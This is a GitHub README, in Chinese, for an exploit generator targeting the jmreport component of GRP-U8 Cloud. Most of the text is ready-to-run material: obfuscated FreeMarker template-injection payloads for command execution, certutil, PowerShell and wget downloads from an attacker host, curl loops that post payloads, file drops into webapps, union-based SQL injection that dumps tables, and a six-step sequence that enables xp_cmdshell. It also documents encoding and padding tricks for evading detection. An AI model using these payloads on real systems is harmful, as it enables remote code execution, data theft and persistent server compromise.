Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

fmfuzz.jar — jmreport Freemarker SSTI 混淆 + JSON 特性打包工具

依据《GRP-U8Cloud jmreport Freemarker RCE 攻击面验证报告》P1-P12 混淆谱系(§5)与 JSON 解析特性实测结论(§6.9-§6.12)实现。Java 8 即可运行(fat jar 内嵌 freemarker-2.3.31, 与目标版本一致)。

快速开始

# 1) 全部 12 变体 × out/assign 双形态(默认纯 freemarker payload, 换行默认转义为字面 \n 单行显示) + 本地渲染验证
java -jar fmfuzz.jar -c "whoami" -L 1 -v

# 2) 终极形态(P10-P12 × 全\uXXXX 转义[关键语法字符明文] + 尾随垃圾 + 2KB pad 稀释检测, 自动 JSON 包裹)
java -jar fmfuzz.jar -c "whoami" -L 3

# 3) jmreport 利用形态: 显式 -J 输出完整 JSON 请求体
java -jar fmfuzz.jar -c "whoami" -C 12 -F assign -J -j 1 -T auto -P 2048

# 4) 自定义 payload(##CMD## 占位符替换)
java -jar fmfuzz.jar -p '<#assign r=p("##CMD##")>' -c "whoami" -J -j 1 -T auto

# 5) JSON 特性组合, 输出到文件
java -jar fmfuzz.jar -c "whoami" -j 1,3,4 -T auto -P 4096 -o out.txt

# 6) paramArray→Aviator 表达式注入(独立形态, 无害验证): paramValue '=1+1' 目标端求值后替换 ${p}, sql 变 select '2' as val 回显
java -jar fmfuzz.jar --param-avi '1+1' -J -v

输出形态(两种,不互斥)

形态 触发 stdout 内容 用途
纯 freemarker payload(默认) 不带任何 JSON 参数 模板文本本身(${...} / <#assign ...> 贴到其他注入点 / 二次加工
jmreport JSON 请求体 -J(或 -t/-j/-T/-P/-L 2/3 任一) 完整 {"sql": ...} 成品 直接 curl POST /jmreport/queryFieldBySql

JSON 包裹归类为 jmreport 利用形态(通过参数调用):默认输出的是 freemarker 纯 payload; 给了 -j/-T/-P 而没给 -J 时自动启用 JSON 形态并在 stderr 提示(默认骨架模板,可 -t 自定义)。

输出协议

  • stdout:每行一个最终 payload(编码/混淆后的成品),无任何前缀/说明/空行, 可直接管道或逐行处理。多变体 = 多行,每行是独立可用的成品。纯模板形态的 真实换行(?new 拆分)默认转义为字面 \n(终端单行可读/可复制;还原: sed 's/\\n/\n/g'printf '%b',需要直接可用形态时加 --raw-nl 输出真实换行)。
  • stderr:元信息(变体名 / json-mode 或"形态=纯模板" / verify 结果 / AST 树 / base64 状态 / ⚠ 不可见字符提醒),逐条交错输出——每条元信息紧贴其 payload 之上(提示与对应 payload 一一对应),两条产物之间空行间隔;不污染 stdout。
# 取第一条成品直接作为 curl 请求体
JSON=$(java -jar fmfuzz.jar -c "whoami" -L 3 | head -1)
curl -s -X POST "http://TARGET/jmreport/queryFieldBySql" \
     -H "Content-Type: application/json" -d "$JSON"

# 全部变体逐条发送(纯 payload 形态需自行拼 JSON, 或直接加 -J)
java -jar fmfuzz.jar -c "whoami" -L 1 -J | while read -r JSON; do
  curl -s -X POST "http://TARGET/jmreport/queryFieldBySql" \
       -H "Content-Type: application/json" -d "$JSON"
done

可移植性

fmfuzz.jarfat jar(内嵌 freemarker-2.3.31,共 1227 个类),仅需本机 Java 8+, 无需任何其他依赖,单文件拷贝到任意环境即可 java -jar fmfuzz.jar 运行 (已在隔离目录实测通过)。代码无硬编码路径。

重新构建(改代码后):

# 默认从 webapps/WEB-INF/lib 取 freemarker-2.3.31.jar,可用环境变量覆盖
FM_JAR=/path/to/freemarker-2.3.31.jar bash build.sh

生成的 fmfuzz.jar 置于报告同目录(GRPU8C_webapps_v11.2411/)。

参数

参数 说明
-c CMD 目标命令(自动生成 P1-P12 payload 族)
-p PAYLOAD 自定义 payload,可含 ##CMD## 占位符(由 -c 替换)
-f FILE 从文件读 payload
--pre PREFIX verify 时在 payload 前拼接的前缀(用于定义 p/x 等变量,仅影响验证)
-C 1-12 混淆等级(对应报告 P1-P12),-1 = 全部(默认)
-F out/assign/both payload 形态:${p("cmd")} 输出 / <#assign r=p("cmd")> 赋值 / 两者
-N none/space/builtin-space/paren-space/paren-inside/comment/newline ?new() token 拆分变体;P10-P12 默认 newline(继承报告谱系),-N 可覆盖
-m 0-4 命令混淆:0 原样 / 1 大小写混合 / 2 加 /c 直连 / 3 + 替代空格 / 4 全组合(+ 分隔仅 cmd 内建命令有效,外部程序如 certutil/powershell 自动保留空格,见下)
-u, --u0020-spaces JSON 形态下模板内空格编码为 \u0020(Jackson 解码还原为空格,外部程序命令可无明文空格;仅 JSON 形态有效,纯模板形态警告并忽略)
--os windows/linux 命令平台(默认 windows)。linux 下命令大小写敏感-m 混淆仅 Windows cmd 语义,自动忽略置 0 并警告;-u/JSON 特性跨平台可用
--io-write PATH:CONTENT 纯 Java IO 文件写入验证(替代 ProcessBuilder/Execute 写文件:无进程、无命令执行、无网络外带)。ObjectConstructor 实例化 java.io.FileWriter 后直接 write(String)+close() 落盘,如 --io-write 'C:/yonyou/home/test.txt:FMV-20260808'-v 本地验证渲染成功后自动校验文件内容一致;路径不可写时提示"语法OK"
--param-avi EXPR paramArray→Aviator 表达式注入形态(独立,无命令):请求体带 paramArray=[{"paramName":"p","paramValue":"=EXPR"}],sql 为 select '${p}' as val——paramValue 由目标 Aviator 引擎求值后替换 ${p} 随查询回显,如 --param-avi '1+1'select '2' as val;paramValue 不经 SqlInjectionUtil 过滤;Aviator 4.2.6 仅数学/内置函数(无反射无类方法调用),表达式须无害(详见场景 G)
--sqlsrv-xpcmd CMD SQL Server xp_cmdshell 开启+执行形态(call 存储过程通道,CMD 省略默认 whoami):POST /jmreport/loadTableData,sql=call xp_cmdshell('<CMD>') 直连执行(e.f 的 call 前缀分支 → JdbcTemplate.executeProcedure,绕过全部分页包装,输出回显 records);未启用目标自动跑 6 步开启序列:sp_configure('show advanced options',1)→reconfigure→sp_configure('xp_cmdshell',1)→reconfigure→xp_cmdshell 验证;sp_configure/reconfigure 无结果集报 SQL执行失败,{}null 属预期(过程已实际执行),以最后一步输出判断(详见场景 H)
-s, --stacked --sqlsrv-xpcmd 组合:追加堆叠变体报文(paramArray JSON 字符串形态 sql 多语句);实测目标堆叠不支持(分页 count 子查询包装 ; 非法),保留用于兼容探测
-J, --jmreport 输出 jmreport 利用形态(完整 JSON 请求体);默认是纯 freemarker payload
-t TEMPLATE JSON 模板(含 ##PAYLOAD## 占位符),默认报告 §6.3 标准骨架
-j MODE JSON 编码模式(逗号组合),见下
-T TEXT/auto } 后追加尾随杂散字符(Jackson 2.9 无 EOF 校验,报告 §6.12.2 N2 族)
-P N } 前插入 N 字节 pad 字段(稀释 \u00XX 密度检测)
-B, --base64 最终形态整体 base64 编码输出(规避一切不可见字符;目标端需先 base64 解码后再发送,服务器侧不自动解码)
-E, --escape-nl 纯模板形态真实换行显示为字面 \n默认已开启;还原 sed 's/\\n/\n/g'
--raw-nl 关闭换行转义,输出真实换行(直接可用形态,无需还原)
-L 0/1/2/3 快速等级:0 单条原样 / 1 全部变体 / 2 变体×编码(1-4) / 3 终极形态
-v 本地 freemarker 渲染验证(命令自动替换为无害 echo FMV-xxxx
--ast 打印 freemarker 解析树(AST,与 -v 可同用)
-o FILE 输出到文件(仅 stdout 的 payload 内容)
--list 列出全部变体说明(-list 同义)

JSON 编码模式(-j)

模式 说明 当前环境有效性
0 原样(控制字符强制 \uXXXX 标准编码,不用 \n/\t 简写)
1 值内全 \uXXXX 转义(P12 形态;模板语法关键字符——单引号 '、左右尖括号 < >、等号 =、空格——保持明文,双引号/反斜杠走 JSON 层转义 \" \\,其余逐字符 \uXXXX。与报告 §5.4 实测报文 select 'A' as val 形态一致) ✅ 双引擎实测有效
2 部分 \u 穿插(关键语法字符同样保持明文,报告 B 行形态)
3 key 层转义(sql ✅ 实测有效
4 RFC 8259 空白注入(仅结构位置:{/:/, 后;字符串值内绝不注入) ✅ 实测有效
5 多 u 复写 \uuuuXXXX 双引擎实测均拒绝(见下注)
6 \xHH 十六进制 ⚠️ fastjson 1.2.83 实测支持,Jackson 拒绝
7 单引号 key ⚠️ fastjson 1.2.83 实测支持,Jackson 拒绝
8 注释 ⚠️ fastjson 1.2.83 实测支持,Jackson 拒绝
9 标准 \uXXXX 与多 u \uuuuXXXX 随机共存于同一报文 双引擎实测均拒绝(见下注)

双引擎实测结论(2026-08-07,目标环境真实 jar):请求体层由 Jackson 2.9.9.3 严格解析(报告 §6.8/§6.11),\uXXXX 是唯一有效通道(mode 0-4 ✅);fastjson 1.2.83 实测只支持 \xHH、单引号 key、注释(mode 6/7/8),多 u 复写(mode 5/9) 连 fastjson 也拒绝——"循环跳过连续 u"是社区说法,目标版本 \u 后直接取 4 字符 按 hex 解析,连续 u 报 NumberFormatException(探测矩阵见 /tmp/FastProbe)。 5-9 保留用于知识输出或换解析环境;mode9 的"标准编码与多 u 共存"设计仍有效, 但目标环境的两个解析器都到不了。

不可见 / 不可打印字符

纯 freemarker 形态(字符清单,全量):模板语法本身只产生可见 ASCII——指令 <#assign>、插值 ${}、字符串、注释 <#-- -->、运算符 + . ( ) ?。需注意的 不可见字符来源只有两类,均为极少量:

来源 字符 触发条件
?new( 换行拆分(报告 §5.3 X7) 真实 \n P10-P12 默认(-N newline),可 -N 覆盖
自定义 payload(-p/-f 自带) 任意控制字符 仅当用户模板里自带

其余如注释拆分 <#--a--><#--b-->、space 系拆分引入的都是普通空格/连字符(可见 ASCII,无告警)。纯模板形态的 \n 是模板合法内容,默认转义为字面 \n 显示 (终端单行可读/可复制,stderr 紧贴提示还原方法;需要直接可用形态加 --raw-nl); 产物之间空行间隔(stderr 侧);跨 shell 管道/粘贴时逐字节校验用 printf '%s' "$X" | od -c

JSON 形态(主战场):值内控制字符(<0x20,含 newline 拆分注入的真实换行) 一律强制标准 \uXXXX 编码(不用 \n/\t 简写),Jackson/fastjson 解码后 还原真实换行(端到端实测解码 791=791 字符相等、渲染执行 PASS)。因此 JSON 形态 的 stdout 永远是安全单行。

-B base64:最终形态整体 base64 编码,彻底规避不可见字符(stderr 注明 目标端需先解码);发送前 echo "$X" | base64 -d 还原。

回归验证口径(双引擎 + 全链路)

每个 JSON 成品用 目标环境真实 jar 双引擎验证,且必须走完整传输链路, 不止 freemarker AST 语法验证:

请求体(JSON 成品) → 解析器 → 取 sql → 逐字符比对 select '<原始模板>' as val
                   → freemarker 2.3.31 渲染执行
  • Jackson 2.9.9.3(webapps/WEB-INF/lib 真实 jar):mode 0-4 ✅ 解码==期望 (791=791 字符含真实换行还原)+ 渲染执行 PASS;mode 5/6/7/8/9 预期拒绝
  • fastjson 1.2.83(同上):mode 0-4 ✅(标准 JSON 全兼容);mode 6/7/8 ✅ (\xHH/单引号 key/注释私有特性实测生效);mode 5/9 ❌(多 u 复写双引擎均拒)
  • 验证器:/tmp/DualVerify.java(双引擎一键切换);多 u 边界矩阵:/tmp/FastProbe.java
  • -L 1 -v(纯模板 24 变体 AST+渲染)、-L 3(终极形态 Jackson 端到端)为固定回归项

命令混淆约束(-m,Windows cmd 实测规则)

  1. cmd/c 之间的空格必须保留——cmd/cechocmd+ 会被 CreateProcess 当程序名立即失败(用户真实环境实测失败根因)
  2. /c 与命令之间可直连/cecho——cmd 开关解析只看第二字符,等价 /c echo
  3. + 分隔仅 cmd 内建命令有效(echo/dir/type 等:echo+1337 ✓,报告 §6.4 基准 即此);外部程序(certutil/powershell 等)按整个 token 查文件会失败—— cERtUtil+-UrlCaChE+-SPlit+-F+htTP://... 被当程序名,命令不执行且无任何请求 (certutil 下载场景实测)。外部程序自动保留空格分隔,大小写混淆 + /c 直连仍生效
  4. > 前后空格删除直接连路径(重定向在 token 化前解析,无影响)

Linux 目标(--os linux)

-m 混淆全部基于 Windows cmd 语义(大小写不敏感、/c 开关、+ 分隔符), Linux 命令大小写敏感——-m 1 的随机大小写会让命令直接失败(WhOaMi 找不到)。 加 --os linux 时工具自动忽略 -m(置 0,命令原样 + 警告),Execute 链的 Runtime.exec 按空格拆词,Linux 下空格是唯一分隔符、无 shell 解释($IFS 等 不生效)。-u(空格→\u0020)与全部 JSON 特性跨平台可用(解码还原与平台无关)。

# Linux 命令执行(大小写敏感, 勿用 -m 1; --os linux 自动忽略)
java -jar fmfuzz.jar -c 'id' -C 10 --os linux -J -j 1 -u

# Linux 文件下载(wget / curl / busybox wget 均可)
java -jar fmfuzz.jar -c 'wget -O /tmp/xx http://192.168.168.168:8001/xx' -C 10 --os linux -J -j 1 -u

常见利用形态示例(执行命令 / 下载文件)

命令均为无害验证形式(下载 xx 验证文件,符合授权测试约束)。目标注入点: POST http://TARGET/jmreport/queryFieldBySql,请求体取 fmfuzz 生成的 JSON 成品。

# 攻击机监听(HTTP 文件服务器,提供 xx 文件)——目标下载后日志出现 GET /xx
python3 -m http.server 8001 --bind 0.0.0.0

A. certutil 下载(Execute 链,-c 原生生成,推荐)

java -jar fmfuzz.jar -c 'cmd /c certutil -urlcache -split -f http://192.168.168.168:8001/xx' -C 10 -m 4 -J
  • certutil 是外部程序:m4 自动保留空格分隔(输出 CMd /CCerTuTIl -UrlcAcHe -splIt -f HtTP://...), 大小写混淆 + /c 直连仍生效——与目标环境实测成功的形态同构
  • 文件下载到目标进程当前工作目录(如 C:\yonyou\home\xx);-f 强制覆盖已存在文件
  • 外部程序 + JSON 时加 -u:命令空格全编码为 \u0020(Jackson 解码还原,实测形态), 连明文空格也消灭:
java -jar fmfuzz.jar -c 'cmd /c certutil -urlcache -split -f http://192.168.168.168:8001/xx' -C 10 -m 4 -J -j 1 -u

B. certutil 直连(Execute 链,不经 cmd)

java -jar fmfuzz.jar -c 'certutil -urlcache -split -f http://192.168.168.168:8001/xx' -C 10 -m 4 -J

Execute 内部 Runtime.exec 按空格拆分命令,不带 cmd /c 也能直接执行外部程序。

C. ProcessBuilder 链(-p 自定义模板,逐词传参)

java -jar fmfuzz.jar -p '<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>${ob("java.lang.ProcessBuilder","certutil","-urlcache","-split","-f","http://192.168.168.168:8001/xx").start()}' -J -j 1 -T auto
  • ProcessBuilder 每个参数是独立 argv 元素(不经空格解析、不经过 cmd)——必须逐词传参, 整条命令塞进一个字符串会被当程序名直接失败
  • .start() 启动进程,插值只回显 Process 对象(无命令输出),命令已执行,靠监听端确认
  • cmd 包裹写法等效:ob("java.lang.ProcessBuilder","cmd","/c","certutil -urlcache -split -f http://...") (第三参数整串交给 cmd 解析)

D. Execute 直接模板(-p 自定义)

java -jar fmfuzz.jar -p '<#assign r="freemarker.template.utility.Execute"?new()>${r("certutil -urlcache -split -f http://192.168.168.168:8001/xx")}' -J -j 1

Execute 内部 Runtime.exec 按空格拆分,空格命令直接可用;与工具 -c 默认生成的 P 系 Execute 链等价。

E. PowerShell 下载(外部程序,同样保留空格)

java -jar fmfuzz.jar -c 'cmd /c powershell -Command "Invoke-WebRequest -Uri http://192.168.168.168:8001/xx -OutFile xx"' -C 10 -m 4 -J

PowerShell 的 cmdlet/参数名大小写不敏感,混淆形态(iNVOkE-wEbreQUesT -urI ...)直接可用; 命令里的双引号在 JSON 层自动转义 \",服务器端解码还原。

F. 纯 Java IO 文件写入(FileWriter 链,--io-write 预设)

# 不执行命令/不下载——模板内直接调用 Java IO 写文件(无进程、无网络外带)
java -jar fmfuzz.jar --io-write 'C:/yonyou/home/fmtest.txt:FMV-20260808' -J -j 1 -u -v
  • 利用链:ObjectConstructor 实例化 java.io.FileWriter(String)?new() 无法传参, 但 ObjectConstructor 可以),然后直接调用 write(String) + close() 落盘—— 全程纯 Java 方法调用,不产生子进程、无命令执行、无网络请求,比 certutil/Execute/ProcessBuilder 形态更隐蔽(无进程行为可观测)
  • write 覆盖已存在文件;父目录不存在时构造失败(目标上需先保证目录存在,或写 C:/yonyou/home/ 这类服务进程工作目录)
  • -v 本地验证:渲染真实执行写入(本地路径如 /tmp/xx.txt自动校验文件内容一致); Windows 路径本地不可写时提示"语法OK, 本地环境执行失败"
  • 模板形态(供 -p 自定义):<#assign ob="freemarker.template.utility.ObjectConstructor"?new()><#assign fw=ob("java.io.FileWriter","C:/yonyou/home/fmtest.txt")>${fw.write("FMV-20260808")}${fw.close()}
  • 目标上验证:POST payload 后检查目标文件内容 == FMV-20260808type C:\yonyou\home\fmtest.txt

F2. 相对路径写应用目录(写入 webapps → HTTP 直接验证,推荐形态)

java -jar fmfuzz.jar --io-write '..\U8System\Tomcat\webapps\r.png:RCE-TEST' -J -j 1 -u -v
  • GRP-U8 Cloud 服务进程工作目录在 Tomcat 下,相对路径 ..\U8System\Tomcat\webapps\r.png 从工作目录向上跳转落盘 webapps——写入成功后无需访问目标文件系统, 直接浏览器/curl 访问 http://TARGET:8187/r.png,返回内容 RCE-TEST 即验证成功 (r.png 实为文本文件,扩展名仅为迷惑/落地惯例)
  • 输入形态 = 单反斜杠:提示/示例中的路径即用户应输入的内容——命令行单引号内 反斜杠是字面量,带引号复制执行即可,无需手写双反斜杠(双反斜杠只是模板/JSON 内部转义形态)。工具自动完成模板层 \\、JSON 层 \" 两层转义,FileWriter 收到的路径与输入逐字节一致
  • 工具自动处理路径反斜杠:模板层转义 \\(freemarker 字面量中 \U 是非法转义, 转义后解析还原为 \,FileWriter 收到的路径不变);JSON 层再走标准 \" 转义, 两层解码后与输入完全一致
  • -v 本地验证:Windows 相对路径本地不可写,提示"语法OK, 本地环境执行失败"(语法链完整); 可用 --io-write '../tmp/rel.txt:REL-OK'(正斜杠相对路径)本地实测相对路径写入链路
  • 路径形态总结:C:/yonyou/home/test.txt(绝对) / ..\U8System\Tomcat\webapps\r.png(相对) / r.png(当前目录)均可,write 覆盖已存在文件

G. paramArray→Aviator 表达式注入(--param-avi,独立无命令形态)

# 无害验证: paramValue '=1+1' 由目标 Aviator 引擎求值后替换 ${p}, sql 变为 select '2' as val 并回显
java -jar fmfuzz.jar --param-avi '1+1' -J -v

# 内置函数形态(目标端求值): string.substring / math.pow / sysdate() 等
java -jar fmfuzz.jar --param-avi "string.substring('FMV-8888',0,4)" -J -v
  • 注入链(反编译确认):POST /jmreport/queryFieldBySqlparamArray 字段 → parseReportSql(sql, dbSource, paramArray, type)util.e.a(sql, null, paramArray)util.e.a(paramArray, sql):fastjson 解析数组,取 paramName/paramValueparamValue 以 = 开头时进入 desreport.express.b.a()AviatorEvaluator.newInstance() (仅设 Options.TRACE_EVAL,无安全 FeatureSet)compile(expr).execute(new HashMap()) → 结果替换 sql 中 ${paramName}(及 '${paramName}')→ 随查询回显
  • paramValue 不过滤SqlInjectionUtil.specialFilterContentForOnlineReport 的过滤对象是 sql(parseReportSql 开头执行),paramValue 独立注入、原样进 sql——表达式与注入内容 完全避开该过滤
  • Aviator 4.2.6 能力边界(目标 jar 本地实测,/tmp/AviTest* 系列):
    • ✅ 数学运算 1+1 / 10 % 3;✅ 内置函数命名空间 string.substring/length/contains/joinmath.pow/roundseq.listprint;✅ jmreport 注册函数 sysdate()
    • ❌ 静态方法链 java.lang.System.getProperty(...) / Math.pow(...)FunctionNotFound
    • ❌ 字符串字面量方法 'a'.toUpperCase() → 语法错误;❌ import/#import → 语法错误/函数缺失
    • ❌ 函数式实例反射 toUpperCase('x') → FunctionNotFound(jar 内 JavaMethodReflectionFunctionMissing 存在但未挂载;jar 内无 Feature 枚举包 → 无 StaticMethod/NewInstance 特性)
    • 结论:表达式求值级注入,无任意类方法调用/反射 → 无命令执行能力;工具遵循无害约束, 仅生成数学/内置函数验证形态(--param-avi '1+1' → 目标回显 2)
  • 附加发现 1(主渲染点定位)util.e.a(String, Map, Object) 3 参版本无条件调用 FreeMarkerUtils.a(sql, map)new Template(sql).process(map),classicCompatible=true)—— 即 paramArray 有无都会触发,这就是原报告 RCE 的 freemarker 渲染点(sql 参数经 specialFilterContentForOnlineReport 过滤后在此渲染,P1-P12 混淆谱系绕的就是它)
  • 附加发现 2(SQLi 面, 目标实测确认):paramValue 任意字符串原样替换进 sql 并 真实执行(select '${p}' as val${p}1' as inj --select '1' as inj --' as val, SQL Server -- 注释生效)——零过滤注入通道。实测证据:
    • paramArray 必须传 JSON 字符串"paramArray": "[{\"paramName\":\"p\",\"paramValue\":\"...\"}]"); 数组对象报 expect ':' at 0,对象报 syntax error, expect [
    • 字段名回显(queryFieldBySql):paramValue 1' as inj -- → fieldList 列名 val→inj
    • 数据回显(/jmreport/loadTableData,无鉴权):paramValue x' as val union select 'DATA-OK' as val-- → records [{"val":"x"},{"val":"DATA-OK"}]
    • 目标库为 SQL Server;union 两侧别名须一致(SQL Server 列名取第一个 SELECT)
    • 拖库能力实测x' as val union select top 5 name as val from sysobjects where xtype='U'-- → 回显 FA_KP、FEM_CZRZ、GL_Dlzgsnr、HBG_TB_VER_JFB、Pub_DJLXFzx(GRP-U8 账套库业务表, 只读元数据验证,未读账务数据)
    • 堆叠不支持x' as val; select 'STACK-OK' as val-- 在 queryFieldBySql 报 解析失败、 loadTableData 报 SQL执行失败——注入 sql 被分页子查询包装,; 多语句非法
    • 附加发现 3(call 前缀存储过程通道 = 直接 RCE, 目标实测):loadTableData 在 paramArray 渲染后调 e.f(sql)——sql trim 后以 call 开头即返回 {call <sql>}(JDBC CallableStatement 转义),走 JdbcTemplate.execute(CallableStatementCallback) 绕过全部分页 包装直接执行存储过程,结果集逐行回显 records。实测 sql=call xp_cmdshell('whoami'){"records":[{"output":"nt authority\\system"},{"output":null}]}——xp_cmdshell 已启用、 SYSTEM 权限、命令输出完整回显call sp_who() 对照成功(任意存储过程通用执行通道); 连接账号 sa(sysadmin)。无需堆叠、无需 paramArray,sql 直接写 call <proc> 即可。 本次仅执行只读 whoami 证明,未执行其他命令
    • 本工具不生成注入形态,需自拼请求体(-p 自定义模板 + 手写 paramArray 字符串)
  • 工具细节:--param-avi 自动去掉默认 select '##PAYLOAD##' as val 包裹层(payload 本身已是 完整 sql)、注入 "paramArray": [{"paramName":"p","paramValue":"=<expr>"}](JSON 层转义); -v 时纯算术表达式本地求值(Nashorn,与 Aviator 数学语义一致),函数形态标记目标端求值

H. SQL Server xp_cmdshell 开启与命令执行(--sqlsrv-xpcmd,call 存储过程通道, 目标实测)

# 单条命令: 工具自动执行 6 步序列(X0 直连验证 → X1-X4 sp_configure 开启 → X5 验证执行)
# CMD 省略时默认 whoami(只读无害);目标已启用时 X0 即回显结果,序列照跑无害
java -jar fmfuzz.jar --sqlsrv-xpcmd 'whoami'

# -s/--stacked: 追加堆叠变体报文(paramArray JSON 字符串形态; 实测目标不支持堆叠, 见下)
java -jar fmfuzz.jar --sqlsrv-xpcmd 'whoami' -s
  • 通道原理(反编译确认):/jmreport/loadTableData 在 paramArray 渲染后调 e.f(sql)—— sql trim 后以 call 开头(大小写不敏感)即返回 {call <sql>}(JDBC CallableStatement 转义)→ JdbcTemplate.execute(procedure, CallableStatementCallback) 直接执行存储过程, 绕过全部分页包装,结果集逐行回显 records——任意存储过程执行 + 结果回显的通用通道
  • 6 步序列(工具自动执行,逐步打印真实响应):
    1. X0 直连执行 call xp_cmdshell('CMD') —— 判断目标是否已启用(启用则直接出结果)
    2. X1 开启 call sp_configure('show advanced options',1)
    3. X2 开启 call reconfigure()
    4. X3 开启 call sp_configure('xp_cmdshell',1)
    5. X4 开启 call reconfigure()
    6. X5 验证 call xp_cmdshell('CMD') —— 回显 SYSTEM 权限输出即开启成功
  • 报错预期:X1-X4(sp_configure/reconfigure)请求返回 SQL执行失败,{}null 属预期—— executeProcedure 回调用 executeQuery() 取结果集,二者无结果集必然抛异常,但 JDBC 先执行 过程再取结果集,配置变更已实际执行(RECONFIGURE 立即生效无需重启);以 X5 的输出判断 是否开启成功。开启为持久服务器配置变更,仅限授权测试环境
  • 堆叠(-s):堆叠变体(paramArray 字符串形态 + sql 多语句)实测不支持——loadTableData 报错泄漏注入后 SQL 被包进分页 count 子查询(select count(0) from ( ... ) tmp_co...), SQL Server 子查询内 ; 多语句非法;call 通道无需堆叠,直接 sql=call <proc> 即可
  • 实测证据(只读 whoami,符合无害约束):X0 call xp_cmdshell('whoami'){"success":true,"code":200,"result":{"records":[{"output":"nt authority\\system"},{"output":null}]}}call sp_who() 对照成功(连接账号 sa / sysadmin);union 查 sys.configurations 确认 show advanced options=1xp_cmdshell=1
  • raw 报文(X0 直连执行;其余步骤同构替换 sql 参数即可):
POST /jmreport/loadTableData HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

dbSource=&sql=call+xp_cmdshell%28%27whoami%27%29&paramArray=%5B%5D&tableName=&pageNo=1&pageSize=10
POST /jmreport/loadTableData HTTP/1.1
Host: 192.168.168.168:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

dbSource=&sql=call+sp_configure%28%27show+advanced+options%27%2C1%29&paramArray=%5B%5D&tableName=&pageNo=1&pageSize=10
  • 注意:请求必须带 pageNo=1&pageSize=10(loadTableData 查询路径缺分页参数 NPE 报 SQL执行失败,{}null;executeProcedure 通道不受影响,工具统一携带)

发送与确认:JSON=$(java -jar fmfuzz.jar -c '...' -C 10 -m 4 -J | head -1)curl -s -X POST http://TARGET/jmreport/queryFieldBySql -H "Content-Type: application/json" -d "$JSON"; 下载成功后监听端出现 GET /xx 且返回 200,目标当前目录出现 xx 文件。

组合示例

# 命令混淆 + ?new 拆分 + 全\u + 尾随 + 2KB pad(检测规避终极形态)
java -jar fmfuzz.jar -c "cmd /c whoami" -C 12 -F assign -m 4 -N newline -J -j 1 -T auto -P 2048

# 多模式组合逐个输出
java -jar fmfuzz.jar -c "whoami" -C 9 -J -j 1,3,4,5,6,7,8,9 -v

# 纯 freemarker payload(不包 JSON, 默认形态)
java -jar fmfuzz.jar -c "whoami" -C 9 -F out -N comment -m 1

# base64 规避不可见字符
java -jar fmfuzz.jar -c "whoami" -C 10 -B | base64 -d | od -c

verify 语义

  • -v 时命令自动替换为 echo FMV-xxxx(无害,符合授权测试约束),本地渲染确认 语法链 + 命令执行链完整。验证引擎是内嵌的完整 freemarker-2.3.31(与目标同版本, jar 内 1227 个 freemarker 类):new Template(...) 构造时执行真实 AST 解析(parse), process 走 AST 求值执行 —— 语法错误在 parse 阶段即抛出(如无引号命令报 Empty command)。
  • --ast 额外打印解析树:指令级节点(Assignment / DollarVariable / Comment / TextBlock) 完整展开;表达式会被解析器规范化(${11*22} 显示为 ${11 * 22})即 AST 解析生效的证据。 注意:freemarker 2.3.31 的公开 API 只暴露指令级树,表达式内部(?new() 调用链)不展开。
  • OK ✔ 渲染成功且命令输出命中 = 完整链路验证通过
  • OK ✔ 渲染成功(无插值形态) = P11/P12 类赋值形态,命令已执行无回显,无异常即通过
  • 语法OK, 本地环境执行失败(命令/写入路径仅目标服务器可用, 语法链完整) = 语法链完整, 但本地 Linux 不可执行/不可写(如 ECHo 大小写混淆 / + 替代空格 / ProcessBuilder 形态 / FileWriter 写入 Windows 路径——这些针对 Windows 目标设计)
  • FAIL ✘ = 模板语法错误;若报未定义变量 p/x,用 --pre '<#assign p="freemarker.template.utility.Execute"?new()>' 提供定义

⚠️ zsh 陷阱:zsh 内置 echo 会把 \uXXXX 解码为真实字符, 用 echo "$JSON" 检查输出会看到"明文"——这是 shell 显示层行为,字节未变。 变量/文件中的字面 \u 序列经 curl -d 直传服务器(无解码),验证字节请用 printf '%s' "$JSON" | od -c 或 python。

About

freemarker SSTI 命令执行/混淆/文件写入,以及jmreport组件利用payload生成

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Contributors